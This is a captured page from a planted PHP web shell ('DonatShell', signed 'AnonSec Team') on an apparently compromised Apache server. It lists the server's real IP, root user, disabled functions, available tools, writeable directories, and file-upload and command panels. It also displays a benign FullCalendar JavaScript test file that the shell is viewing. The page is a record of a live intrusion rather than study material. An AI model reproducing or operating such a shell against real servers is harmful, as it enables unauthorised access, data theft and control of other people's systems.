%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/events-function.js
describe('events as a function', function() {
  pushOptions({
    timeZone: 'UTC'
  })

  it('requests the correct dates when days at the start/end of the month are hidden', function(done) {
    initCalendar({
      defaultView: 'dayGridMonth',
      defaultDate: '2013-06-01', // June 2013 has first day as Saturday, and last as Sunday!
      weekends: false,
      fixedWeekCount: false,
      events: function(arg, callback) {
        expect(arg.start).toEqualDate('2013-06-03T00:00:00Z')
        expect(arg.end).toEqualDate('2013-06-29T00:00:00Z')
        expect(arg.timeZone).toBe('UTC')
        expect(typeof callback).toBe('function')
        done()
      }
    })
  })

  it('does not request dates excluded by showNonCurrentDates:false', function(done) {
    initCalendar({
      defaultView: 'dayGridMonth',
      defaultDate: '2013-06-01',
      showNonCurrentDates: false,
      events: function(arg, callback) {
        expect(arg.start).toEqualDate('2013-06-01T00:00:00Z')
        expect(arg.end).toEqualDate('2013-07-01T00:00:00Z')
        done()
      }
    })
  })

  it('requests a timed range when minTime is negative', function(done) {
    initCalendar({
      defaultView: 'timeGridWeek',
      defaultDate: '2017-06-08',
      minTime: { hours: -2 },
      events: function(arg, callback) {
        expect(arg.start).toEqualDate('2017-06-03T22:00:00Z')
        expect(arg.end).toEqualDate('2017-06-11T00:00:00Z')
        done()
      }
    })
  })

  it('requests a timed range when maxTime exceeds 24 hours', function(done) {
    initCalendar({
      defaultView: 'timeGridWeek',
      defaultDate: '2017-06-08',
      maxTime: '26:00',
      events: function(arg, callback) {
        expect(arg.start).toEqualDate('2017-06-04T00:00:00Z')
        expect(arg.end).toEqualDate('2017-06-11T02:00:00Z')
        done()
      }
    })
  })

  it('calls loading callback', function(done) {
    var loadingCallArgs = []

    initCalendar({
      loading: function(bool) {
        loadingCallArgs.push(bool)
      },
      events: function(arg, callback) {
        setTimeout(function() {
          expect(loadingCallArgs).toEqual([ true ])
          callback([])
          setTimeout(function() {
            expect(loadingCallArgs).toEqual([ true, false ])
            done()
          }, 0)
        }, 0)
      }
    })
  })

  it('calls loading callback only once for multiple sources', function(done) {
    var loadingCallArgs = []

    initCalendar({
      loading: function(bool) {
        loadingCallArgs.push(bool)
      },
      eventSources: [
        function(arg, callback) {
          setTimeout(function() {
            callback([])
          }, 0)
        },
        function(arg, callback) {
          setTimeout(function() {
            callback([])
          }, 10)
        }
      ]
    })

    setTimeout(function() {
      expect(loadingCallArgs).toEqual([ true, false ])
      done()
    }, 20)
  })
})

Anon7 - 2022
AnonSec Team